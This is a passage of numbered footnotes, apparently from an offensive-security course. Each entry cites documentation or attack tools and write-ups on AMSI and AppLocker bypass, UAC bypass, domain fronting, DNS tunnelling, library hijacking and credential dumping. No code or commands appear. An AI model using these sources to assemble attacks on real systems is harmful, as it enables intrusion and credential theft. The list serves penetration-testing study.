  371. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-vprot↩︎

  372. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect↩︎

  373. (SS64, 2020), https://ss64.com/ps/syntax-ref.html↩︎

  374. (Microsoft, 2020), https://support.microsoft.com/en-us/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties↩︎↩︎↩︎

  375. (winscripting.blog, 2017), https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/↩︎

  376. (Microsoft, 2018), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-item↩︎

  377. (Microsoft, 2020), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-itemproperty?view=powershell-6↩︎

  378. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-element-size-limits↩︎

  379. (SS64, 2020), https://ss64.com/vb/sleep.html↩︎

  380. (Dominic Shell, 2019), https://hackinparis.com/data/slides/2019/talks/HIP2019-Dominic_Chell-Cracking_The_Perimeter_With_Sharpshooter.pdf↩︎

  381. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw↩︎

  382. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryvalueexw↩︎

  383. (SS64, 2020), https://ss64.com/vb/regwrite.html↩︎

  384. (MDSec, 2019), https://github.com/mdsecactivebreach/SharpShooter/blob/master/modules/amsikiller.py↩︎

  385. (W3Schools, 2020), https://www.w3schools.com/js/js_errors.asp↩︎

  386. (SS64, 2020), https://ss64.com/vb/regread.html↩︎

  387. (W3Schools, 2020), https://www.w3schools.com/js/js_errors.asp↩︎

  388. (Mozilla, 202), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error↩︎

  389. (SS64, 2020), https://ss64.com/vb/run.html↩︎

  390. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cscript↩︎

  391. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Universally_unique_identifier↩︎

  392. (SS64, 2020), https://ss64.com/vb/syntax-wscript.html↩︎

  393. (Mitre, 2020), https://attack.mitre.org/techniques/T1038/↩︎

  394. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/lm\-\-list-loaded-modules-↩︎

  395. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/sx\-\-sxd\-\-sxe\-\-sxi\-\-sxn\-\-sxr\-\-sx\-\-\-set-exceptions-↩︎

  396. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/ld\-\-load-symbols-↩︎

  397. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexw↩︎↩︎

  398. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order↩︎

  399. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-shellexecutea↩︎

  400. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa↩︎

  401. (SS64, 2020), https://ss64.com/vb/exec.html↩︎

  402. (SS64, 2020), https://ss64.com/vb/filesystemobject.html↩︎

  403. (SS64, 2020), https://ss64.com/vb/filesystemobject.html↩︎

  404. (LOLBAS, 2020), https://lolbas-project.github.io/↩︎

  405. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Hypervisor↩︎

  406. (MSDN, 2018), https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex?redirectedfrom=MSDN↩︎

  407. (Microsoft, 2016), https://docs.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies↩︎

  408. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker↩︎

  409. (Broadcom, 2020), https://www.broadcom.com/products/cyber-security/endpoint/end-user↩︎↩︎

  410. (McAfee, 2020), https://www.mcafee.com/enterprise/en-us/products/application-control.html↩︎

  411. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control↩︎

  412. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows/security/threat-protection/device-guard/introduction-to-device-guard-virtualization-based-security-and-windows-defender-application-control↩︎

  413. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/create-a-rule-that-uses-a-path-condition↩︎

  414. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/create-a-rule-that-uses-a-file-hash-condition↩︎

  415. (Micosoft, 2017), https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/create-a-rule-that-uses-a-publisher-condition↩︎

  416. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/msi/windows-installer-portal↩︎

  417. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide↩︎

  418. (Microsoft, 2017), https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk↩︎

  419. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls↩︎

  420. (Microsoft, 2018), https://support.microsoft.com/en-us/help/100108/overview-of-fat-hpfs-and-ntfs-file-systems↩︎

  421. (Microsoft, 2019), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3↩︎

  422. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/type↩︎

  423. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7↩︎

  424. (Microsoft, 2015), https://devblogs.microsoft.com/scripting/beginning-use-of-powershell-runspaces-part-1/↩︎

  425. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.runspaces.runspace?view=powershellsdk-1.1.0↩︎

  426. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.runspaces.runspace.open?view=powershellsdk-1.1.0#System_Management_Automation_Runspaces_Runspace_Open↩︎

  427. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.powershell.create?view=pscore-6.2.0#System_Management_Automation_PowerShell_Create↩︎

  428. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.powershell?view=pscore-6.2.0↩︎

  429. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.powershell.runspace?view=pscore-6.2.0#System_Management_Automation_PowerShell_Runspace↩︎

  430. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.powershell.addscript?view=pscore-6.2.0#System_Management_Automation_PowerShell_AddScript_System_String_↩︎

  431. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.runspaces.runspace.close?view=powershellsdk-1.1.0#System_Management_Automation_Runspaces_Runspace_Close↩︎

  432. (Microsoft, 2020), https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/PowerUp.ps1↩︎

  433. (Microsoft, 2017), https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool↩︎

  434. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.configuration.install.installer?view=netframework-4.8↩︎

  435. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil↩︎

  436. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer↩︎

  437. (Matt Graeber, 2018), https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb↩︎

  438. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.loadfile?view=netframework-4.8↩︎

  439. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.loadfrom?view=netframework-4.8↩︎

  440. (@0xd4d, 2020), https://github.com/0xd4d/dnlib↩︎

  441. (Matt Graeber, 2018), https://gist.github.com/mattifestation/67435063004effaac02809506890c7bb↩︎

  442. (Matt Graeber, 2018), https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb↩︎

  443. (@0xd4d, 2020), https://github.com/0xd4d/dnSpy↩︎

  444. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.codedom.compiler.icodecompiler.compileassemblyfromfilebatch?view=dotnet-plat-ext-3.1#System_CodeDom_Compiler_ICodeCompiler_CompileAssemblyFromFileBatch_System_CodeDom_Compiler_CompilerParameters_System_String___↩︎

  445. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/interface↩︎

  446. (Matt Graeber, 2018), https://posts.specterops.io/documenting-and-attacking-a-windows-defender-application-control-feature-the-hard-way-a-case-73dd1e11be3a↩︎

  447. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/devnotes/wldpisdynamiccodepolicyenabled↩︎

  448. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmlreader?view=netframework-4.8↩︎

  449. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.datacontractserializer.readobject?view=netframework-4.8#System_Runtime_Serialization_DataContractSerializer_ReadObject_System_Xml_XmlReader_↩︎↩︎

  450. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/csharp/tutorials/inheritance↩︎

  451. (Microsoft, 2015), https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/abstract↩︎

  452. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.activator.createinstance?view=netframework-4.8↩︎

  453. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.datacontractserializer?view=netframework-4.8↩︎

  454. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.datacontractserializer.writeobject?view=netframework-4.8↩︎

  455. (Matt Graeber, 2018), https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb↩︎

  456. (Wiki, 2020), https://wiki.fileformat.com/web/xoml/↩︎

  457. (@HarmJ0y, 2018), https://github.com/GhostPack/SharpUp/↩︎

  458. (Microsoft, 2016), https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2019↩︎

  459. (Wikipedia, 2020), https://en.wikipedia.org/wiki/XSL↩︎

  460. (w3.org, 2020), https://www.w3.org/TR/xslt-30/↩︎

  461. (Mitre, 2020), https://attack.mitre.org/techniques/T1220/↩︎

  462. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic↩︎↩︎

  463. (Empire, 2020), https://www.powershellempire.com/↩︎

  464. (Ryan Cobb, 2019), https://cobbr.io/Covenant.html↩︎

  465. (Ryan Cobb, 2020), https://github.com/cobbr/Covenant/wiki/Installation-And-Startup↩︎

  466. (Cisco, 2020), https://www.cisco.com/c/en/us/td/docs/solutions/Enterprise/Security/SAFE_RG/SAFE_rg/chap6.html↩︎

  467. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Intrusion_detection_system↩︎

  468. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Proxy_server↩︎

  469. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Deep_packet_inspection↩︎

  470. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Digital_forensics↩︎

  471. (Open Rights Group, 2019), https://wiki.openrightsgroup.org/wiki/TLS_interception↩︎

  472. (F5, 2020), https://www.nginx.com/↩︎

  473. (Cisco, 2020), https://www.snort.org/↩︎

  474. (OpenDNS, 2020), https://www.opendns.com/↩︎

  475. (MalwareDomainList.com, 2020), https://www.malwaredomainlist.com/hostslist/hosts.txt↩︎

  476. (OpenDNS, 2020), https://support.opendns.com/hc/en-us/articles/227986567-How-to-test-for-successful-OpenDNS-configuration-↩︎

  477. (OpenDNS, 2020), https://support.opendns.com/hc/en-us/articles/227986927-What-are-the-Cisco-Umbrella-Block-Page-IP-Addresses-↩︎

  478. (NoVirusThanks, 2020), https://www.ipvoid.com/dns-reputation/↩︎

  479. (VirusTotal, 202), https://www.virustotal.com/gui/home/search↩︎

  480. (OpenDNS, 2020), https://community.opendns.com/domaintagging/categories↩︎

  481. (OpenDNS, 2020), https://community.opendns.com/domaintagging/search/↩︎↩︎

  482. (Cisco Umbrella, 2020), https://support.umbrella.com/hc/en-us/articles/235911828-Newly-Seen-Domains-Security-Category↩︎

  483. (OpenDNS, 2020), https://community.opendns.com/domaintagging/↩︎

  484. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Natural_language_processing↩︎

  485. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Typosquatting↩︎

  486. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Watering_hole_attack↩︎

  487. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Proxy_server↩︎

  488. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Private_network↩︎

  489. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Man-in-the-middle_attack↩︎

  490. (Mozilla, 2020), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers↩︎

  491. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Security_information_and_event_management↩︎

  492. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetsetoptiona↩︎

  493. (Cyren, 2020), https://www.cyren.com/security-center/url-category-check↩︎

  494. (Symantec Corporation, 2020), https://sitereview.bluecoat.com/↩︎↩︎↩︎

  495. (Check Point Software Technologies Ltd., 2020), https://urlcat.checkpoint.com/urlcat/↩︎

  496. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-httpopenrequesta↩︎

  497. (UserAgentString.com, 2020), http://www.useragentstring.com/↩︎

  498. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Maximum_transmission_unit↩︎

  499. (Wikipedia, 2020), https://en.wikipedia.org/wiki/IP_fragmentation↩︎

  500. (Wireshark, 2020), https://www.wireshark.org/docs/wsug_html_chunked/ChAdvReassemblySection.html↩︎

  501. (Didier Stevens, 2015), https://blog.didierstevens.com/2015/05/11/detecting-network-traffic-from-metasploits-meterpreter-reverse-http-module/↩︎↩︎↩︎

  502. (Fox IT, 2019), https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike-team-servers-in-the-wild/↩︎

  503. (NortonLifeLock Inc., 2020), https://us.norton.com/360↩︎

  504. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Certificate_authority↩︎

  505. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Root_certificate↩︎

  506. (Let’s Encrypt, 2020), https://letsencrypt.org/↩︎

  507. (OpenSSL Software Foundation, 2018), https://www.openssl.org/↩︎

  508. (OpenSSL, 2016), https://www.openssl.org/docs/man1.1.0/man1/ciphers.html↩︎

  509. (reddit, 2019), https://www.reddit.com/r/netsecstudents/comments/9xpfhy/problem_with_metasploit_using_an_ssl_certificate/↩︎

  510. (OpenSSL Software Foundation, 2018), https://www.openssl.org/docs/man1.1.1/man3/SSL_CTX_set_security_level.html↩︎

  511. (RSA Security LLC , 2020), https://www.rsa.com/en-us/products/threat-detection-response/network-security-network-monitoring↩︎

  512. (Moloch, 2020), https://molo.ch/↩︎

  513. (Rapid7, 2015), https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-HTTP-Communication#tls-certificate-pinning↩︎

  514. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Domain_fronting↩︎

  515. (Bryce Boe, 2012), https://bryceboe.com/2012/03/12/bypassing-gogos-inflight-internet-authentication/↩︎

  516. (FireEye, 2017), https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html↩︎

  517. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Content_delivery_network↩︎

  518. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Transport_Layer_Security↩︎

  519. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Virtual_hosting↩︎

  520. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Server_Name_Indication↩︎

  521. (BelugaCDN, 2020), https://www.belugacdn.com/what-is-a-cdn-endpoint/↩︎

  522. (Wikipedia, 2020), https://en.wikipedia.org/wiki/CNAME_record↩︎

  523. (Steve Borosh, 2020), https://github.com/rvrsh3ll/FindFrontableDomains↩︎

  524. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Subject_Alternative_Name↩︎

  525. (theobsidiantower.com, 2017), https://theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a36f2926bd52863ef28befc.html↩︎

  526. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Dnsmasq↩︎

  527. (Ron Bowes, 2019), https://github.com/iagox86/dnscat2↩︎↩︎

  528. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Subdomain↩︎

  529. (NS1., 2020), https://ns1.com/resources/dns-retransmission↩︎

  530. KeyCDN, 2020), https://www.keycdn.com/support/dns-cache↩︎

  531. (Jovan Milenkovic , 2020), https://kommandotech.com/statistics/operating-system-market-share/↩︎

  532. (Arch Linux, 2020), https://wiki.archlinux.org/index.php/Dotfiles↩︎

  533. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Hidden_file_and_hidden_directory#Unix_and_Unix-like_environments↩︎

  534. https://www.gnu.org/software/bash/manual/html_node/Bash-Startup-Files.html↩︎

  535. (Vim.org, 2020), https://www.vim.org↩︎

  536. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Vi↩︎

  537. (Fandom.com, 2003), https://vim.fandom.com/wiki/Open_vimrc_file↩︎

  538. (Steve Losh, 2013), https://learnvimscriptthehardway.stevelosh.com↩︎

  539. (Mendel Cooper, 2014), http://tldp.org/LDP/abs/html/internalvariables.html↩︎

  540. (StackExchange, 2015), https://unix.stackexchange.com/questions/181492/why-is-it-risky-to-give-sudo-vim-access-to-ordinary-users↩︎

  541. (Linuxize, 2020), https://linuxize.com/post/bash-source-command/↩︎

  542. (Stack Overflow, 2009), https://stackoverflow.com/questions/803464/how-do-i-source-something-in-my-vimrc-file↩︎

  543. (Die.net, 2012), https://linux.die.net/man/8/visudo↩︎

  544. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Alias_(command)↩︎

  545. (Die.net, 2012),https://linux.die.net/man/8/sudoedit↩︎

  546. (Bram Moolenaar, 2010), http://vimdoc.sourceforge.net/htmldoc/autocmd.html↩︎

  547. (AV Test, 2015), https://www.av-test.org/en/news/linux-16-security-packages-against-windows-and-linux-malware-put-to-the-test/↩︎

  548. (Kaspersky, 2020), https://support.kaspersky.com/kes11linux↩︎

  549. (Eicar, 2020), https://www.eicar.org/?page_id=3950↩︎

  550. (open-std.org, 2013), http://www.open-std.org/JTC1/SC22/WG14/www/standards↩︎

  551. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Pointer_(computer_programming)↩︎

  552. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Dereference_operator↩︎

  553. (Alex Allain, 2019), https://www.cprogramming.com/tutorial/function-pointers.html↩︎

  554. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Type_conversion↩︎

  555. (Free Software Foundation, Inc. , 2020), https://gcc.gnu.org↩︎

  556. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Local_variable↩︎

  557. (Rapid7, 208), https://github.com/rapid7/metasploit-framework/issues/9663↩︎

  558. (AntiScan.Me, 2020), https://www.antiscan.me/↩︎

  559. (The MITRE Corporation, 2020), https://attack.mitre.org/techniques/T1574/001/↩︎

  560. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Executable_and_Linkable_Format↩︎

  561. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Dynamic-link_library↩︎

  562. (David A. Wheeler, 2013), https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html↩︎

  563. (Amir Rachum, 2016), https://amir.rachum.com/blog/2016/09/17/shared-libraries/#runtime-search-path↩︎

  564. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Rpath↩︎

  565. (Amir Rachum, 2016), https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath↩︎

  566. (Man7.org, 2020), https://man7.org/linux/man-pages/man8/ldconfig.8.html↩︎

  567. (Wikipedia, 2020), https://en.wikipedia.org/wiki/C_(programming_language)↩︎

  568. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Constructor_(object-oriented_programming)↩︎

  569. (David A. Wheeler, 2013), https://tldp.org/HOWTO/Program-Library-HOWTO/miscellaneous.html↩︎

  570. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Position-independent_code↩︎

  571. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Soname↩︎

  572. (Man7.org, 2020), https://man7.org/linux/man-pages/man1/ldd.1.html↩︎

  573. (GnuPG Project, 2017), https://www.gnupg.org/software/libgpg-error/index.html↩︎

  574. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Symbol_(programming)↩︎

  575. (Die.net, 2009), https://linux.die.net/man/1/readelf↩︎

  576. (Free Software Foundation, Inc. , 2020), https://www.gnu.org/software/gnulib/manual/html_node/LD-Version-Scripts.html↩︎

  577. (Man7.org, 2020), https://man7.org/linux/man-pages/man8/ld.so.8.html↩︎

  578. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Dynamic_linker↩︎

  579. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Type_signature#Method_signature↩︎

  580. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Hooking↩︎

  581. (Die.net, 2020), https://linux.die.net/man/1/ltrace↩︎

  582. (Die.net, 2020), https://linux.die.net/man/2/geteuid↩︎↩︎

  583. (Die.net, 2020), https://linux.die.net/man/3/dlopen↩︎

  584. (Free Software Foundation, Inc. , 2020), https://gcc.gnu.org/onlinedocs/gcc/Typeof.html↩︎

  585. (Die.net, 2020), https://linux.die.net/man/3/dlsym↩︎

  586. (Man7.org, 2020), https://man7.org/linux/man-pages/man2/fork.2.html↩︎

  587. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Interactive_kiosk↩︎

  588. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Thin_client↩︎

  589. (Dell, 2020), https://www.dell.com/en-us/work/shop/wyse-endpoints-and-software/sc/cloud-client/thin-clients↩︎

  590. (Citrix, 2020), https://www.citrix.com/products/citrix-virtual-apps-and-desktops/↩︎

  591. (Porteus Solutions, 2020), https://porteus-kiosk.org↩︎

  592. (LOLBAS-Project, 2020), https://github.com/LOLBAS-Project/LOLBAS↩︎

  593. (GTFOBins), https://gtfobins.github.io↩︎

  594. (TigerVNC), https://tigervnc.org/↩︎

  595. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Table_of_keyboard_shortcuts↩︎

  596. (Microsoft, 2020), https://support.microsoft.com/en-us/help/12445/windows-keyboard-shortcuts↩︎

  597. (The GNOME Project, 2014), https://help.gnome.org/users/gnome-help/stable/keyboard-shortcuts-set.html.en↩︎

  598. (T.C. Hollingsworth, 2016), https://docs.kde.org/trunk5/en/applications/fundamentals/kbd.html↩︎

  599. (Mozilla, 2020), https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/The_about_protocol↩︎

  600. (Internet Assigned Numbers Authority, 2020), https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml↩︎

  601. (Mandar Mirashi, 1996), https://www.w3.org/Addressing/draft-mirashi-url-irc-01.txt↩︎

  602. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Internet_Relay_Chat↩︎

  603. (StackExchange, 2020), https://askubuntu.com/questions/27213/what-is-the-linux-equivalent-to-windows-program-files↩︎

  604. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Terminal_emulator↩︎

  605. (Erik Andersen, 2008), https://busybox.net/about.html↩︎

  606. (Arch Linux, 2020), https://wiki.archlinux.org/index.php/Dunst#Dunstify↩︎

  607. (Mozilla, 2020), https://developer.mozilla.org/en-US/docs/Mozilla/Command_Line_Options↩︎

  608. (Paul Craig, 2010), http://www.ikat.kronicd.net/↩︎

  609. (Linux Kernel Organization, Inc, 2020), https://www.kernel.org↩︎

  610. (Mozilla, 2020), https://developer.mozilla.org/en-US/docs/Tools/Scratchpad↩︎

  611. (Google, 2020), https://code.google.com/archive/p/gtkdialog/↩︎

  612. (Damien Pobel, 2013), http://pwet.fr/man/linux/commandes/gtkdialog/↩︎

  613. (Hanny Helal, 2015), https://www.tecmint.com/gtkdialog-create-graphical-interfaces-and-dialog-boxes/↩︎

  614. (Google, 2020), https://code.google.com/archive/p/gtkdialog/wikis↩︎

  615. (Google, 2020), https://code.google.com/archive/p/gtkdialog/wikis/terminal.wiki↩︎

  616. (PCLinuxOS Magazine, 2009), http://pclosmag.com/html/Issues/200910/page21.html↩︎

  617. (Google, 2020), https://code.google.com/archive/p/gtkdialog/wikis/entry.wiki↩︎

  618. (Google, 2020), https://code.google.com/archive/p/gtkdialog/wikis/edit.wiki↩︎

  619. (SourceForge, 2008), http://xpt.sourceforge.net/techdocs/language/gtkdialog/gtkde02-GtkdialogExamples/single/↩︎

  620. (Mendel Cooper, 2012), https://www.tldp.org/LDP/abs/html/varsubn.html↩︎

  621. (g0tmi1k, 2020), https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/↩︎

  622. (Openbox, 2013), http://openbox.org/wiki/Main_Page↩︎

  623. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Symbolic_link↩︎

  624. (Mendel Cooper, 2012), http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_03_01.html↩︎

  625. (StackExchange, 2020), https://unix.stackexchange.com/questions/417323/what-is-the-difference-between-cron-d-as-in-etc-cron-d-and-crontab↩︎

  626. (Dave McKay, 2019), https://www.howtogeek.com/428174/what-is-a-tty-on-linux-and-how-to-use-the-tty-command/↩︎

  627. (Jordan Sissel), http://linuxcommandlibrary.com/man/xdotool.html↩︎

  628. (The GNOME Project, 2014), https://help.gnome.org/admin/system-admin-guide/stable/lockdown-command-line.html.en↩︎

  629. (Gentoo Foundation, Inc., 2020), https://wiki.gentoo.org/wiki/Automatic_login_to_virtual_console↩︎

  630. (Rick Moen ), http://linuxmafia.com/faq/Admin/init.html↩︎

  631. (SS64, 2020), https://ss64.com/nt/syntax-variables.html↩︎

  632. (SS64, 2020), https://ss64.com/nt/shell.html↩︎

  633. (Winhelponline, 2020), https://www.winhelponline.com/blog/shell-commands-to-access-the-special-folders↩︎

  634. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/jj710217(v=vs.85)↩︎

  635. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Security_Account_Manager↩︎

  636. (Péter Gombos, 2018), https://medium.com/\@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4↩︎

  637. (Wikipedia, 2020), https://en.wikipedia.org/wiki/MD4↩︎

  638. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts↩︎

  639. (Microsoft, 2018), https://msdn.microsoft.com/en-us/library/windows/desktop/ms721604(v=vs.85).aspx#_security_relative_identifier_gly↩︎

  640. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-useraccount↩︎

  641. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/vss/volume-shadow-copy-service-overview↩︎

  642. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin↩︎

  643. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)?redirectedfrom=MSDN↩︎

  644. (tijl, 2017), https://www.insecurity.be/blog/2018/01/21/retrieving-ntlm-hashes-and-what-changed-technical-writeup/↩︎

  645. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-save↩︎

  646. (Neohapsis, 2018), https://github.com/Neohapsis/creddump7↩︎

  647. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)↩︎

  648. (Microsoft, 2019), https://social.technet.microsoft.com/wiki/contents/articles/8548.active-directory-sysvol-and-netlogon.aspx↩︎

  649. (Microsoft, 2019), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN↩︎

  650. (PowerShellMafia, 2017), https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1↩︎

  651. (Microsoft, 2015), https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati↩︎

  652. (Microsoft, 2017), https://blogs.technet.microsoft.com/secguide/2018/12/10/remote-use-of-local-accounts-laps-changes-everything/↩︎

  653. (Sean Metcalf, 2016), https://adsecurity.org/?p=3164↩︎

  654. (Microsoft, 2017), https://support.microsoft.com/en-us/help/922836/how-to-mark-an-attribute-as-confidential-in-windows-server-2003-servic↩︎

  655. (Leo Loobeek, 2018), https://github.com/leoloobeek/LAPSToolkit↩︎

  656. (PowerView, 2018), https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon↩︎↩︎

